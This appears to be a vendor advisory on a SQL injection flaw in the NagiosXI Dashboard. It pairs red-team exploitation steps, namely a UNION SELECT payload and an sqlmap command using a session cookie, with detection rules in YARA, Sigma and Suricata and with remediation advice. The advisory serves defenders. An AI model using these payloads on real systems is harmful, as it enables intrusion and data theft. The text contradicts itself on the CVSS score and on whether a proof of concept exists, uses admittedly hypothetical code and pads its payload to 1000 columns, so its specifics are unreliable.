CVE-2025-67255

Executive Summary

CVE-2025-67255 is a critical SQL Injection vulnerability discovered in NagiosXI version 2026R1.0.1 (build 1762361101). The flaw resides in the Dashboard parameters, which lack proper input filtering. An authenticated attacker can exploit this to execute arbitrary SQL commands against the backend database, potentially leading to data exfiltration, privilege escalation, or complete system compromise. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the high impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in the NagiosXI application code. The risk is amplified if NagiosXI is deployed in environments with network segmentation weaknesses or shared database credentials.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.9 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Authenticated user
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The low attack complexity and network vector make this highly exploitable by any authenticated user. The lack of a patch increases the urgency.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the Dashboard module of NagiosXI. The application fails to sanitize user-supplied input passed to SQL queries when constructing or rendering dashboard views. An authenticated attacker can inject malicious SQL payloads via parameters such as dashboard_id, view, or custom filter fields.

Attack Flow:

1. Attacker authenticates to NagiosXI (e.g., via default credentials or compromised account).
2. Attacker crafts a malicious HTTP request to the Dashboard endpoint, injecting SQL commands into a parameter.
3. The backend database executes the injected SQL, allowing the attacker to:
   • Extract sensitive data (e.g., user credentials, system configurations).
   • Modify or delete database records.
   • Execute stored procedures or escalate privileges.
4. The attacker can pivot to other systems if the database server is misconfigured.

Root Cause: Lack of parameterized queries or input validation in the Dashboard module.

Vulnerable vs. Patched Code

Vulnerable Code (NagiosXI 2026R1.0.1):

// Example vulnerable PHP code (hypothetical)
$dashboard_id = $_GET['dashboard_id'];
$query = "SELECT * FROM dashboards WHERE id = " . $dashboard_id;
$result = mysqli_query($conn, $query);

Patched Code (Expected):

// Patched version using prepared statements
$dashboard_id = $_GET['dashboard_id'];
$stmt = $conn->prepare("SELECT * FROM dashboards WHERE id = ?");
$stmt->bind_param("i", $dashboard_id);
$stmt->execute();
$result = $stmt->get_result();

Key Difference: The patched code uses parameterized queries, preventing SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• NagiosXI 2026R1.0.1 instance.
• Valid authenticated session (e.g., cookie or API token).

Exploitation Steps:

1. Intercept a request to the Dashboard endpoint (e.g., /nagiosxi/dashboard.php?dashboard_id=1).
2. Inject SQL payload into the dashboard_id parameter:

   GET /nagiosxi/dashboard.php?dashboard_id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000-- -
   

3. Use SQLmap for automated exploitation:

   sqlmap -u "http://target/nagiosxi/dashboard.php?dashboard_id=1" --cookie="PHPSESSID=valid_session" --batch --dbs
   

Expected Outcome: Database enumeration, data extraction, and potential command execution if database permissions allow.

Blue Team (Detection & Defense)

Detection:

• Monitor for SQL injection patterns in web logs (e.g., UNION, SELECT, OR 1=1).
• Alert on unusual database query volumes or errors.
• Use WAF rules to block SQL injection attempts.

Defense:

• Apply input validation and parameterized queries immediately.
• Restrict database user privileges (least privilege principle).
• Enable detailed logging for all database queries.
• Segment NagiosXI from critical systems.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing SQL keywords in Dashboard parameters (e.g., dashboard_id=1 UNION SELECT).
  • Unusual outbound database connections from the NagiosXI server.
• File IOCs:
  • Modified or new PHP files in the NagiosXI webroot (e.g., /usr/local/nagiosxi/html/).
  • Suspicious entries in database logs (e.g., /var/log/mysql/error.log).
• System IOCs:
  • Unexpected database users or privileges.
  • New cron jobs or scheduled tasks on the NagiosXI server.

Detection Engineering

YARA Rule

rule CVE_2025_67255_SQLi_NagiosXI {
    meta:
        description = "Detects SQL injection attempts targeting NagiosXI Dashboard parameters"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67255"
    strings:
        $sqli1 = "UNION" nocase
        $sqli2 = "SELECT" nocase
        $sqli3 = "OR 1=1" nocase
        $sqli4 = "DROP TABLE" nocase
        $sqli5 = "dashboard_id=" nocase
    condition:
        any of ($sqli*) and $sqli5
}

Sigma Rule

title: SQL Injection Attempt on NagiosXI Dashboard
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection patterns in HTTP requests to NagiosXI Dashboard
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'dashboard_id='
            - 'UNION'
            - 'SELECT'
            - 'OR 1=1'
            - 'DROP'
    condition: selection
falsepositives:
    - Legitimate use of dashboard parameters with similar strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67255 SQL Injection Attempt on NagiosXI Dashboard"; flow:to_server,established; content:"dashboard_id="; http_uri; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the NagiosXI server from untrusted networks.
2. Disable the Dashboard module if not critical.
3. Apply a Web Application Firewall (WAF) with SQL injection rules.
4. Monitor logs for exploitation attempts.

Long-Term Fix:

• Patch the application once Nagios releases an update.
• Implement parameterized queries in all database interactions.
• Conduct a full security audit of the NagiosXI codebase.
• Enforce least privilege for database accounts.

Workaround:

• Manually sanitize input in the Dashboard module by adding input validation (e.g., intval() for numeric parameters).

Valters IT
Securing Digital Frontiers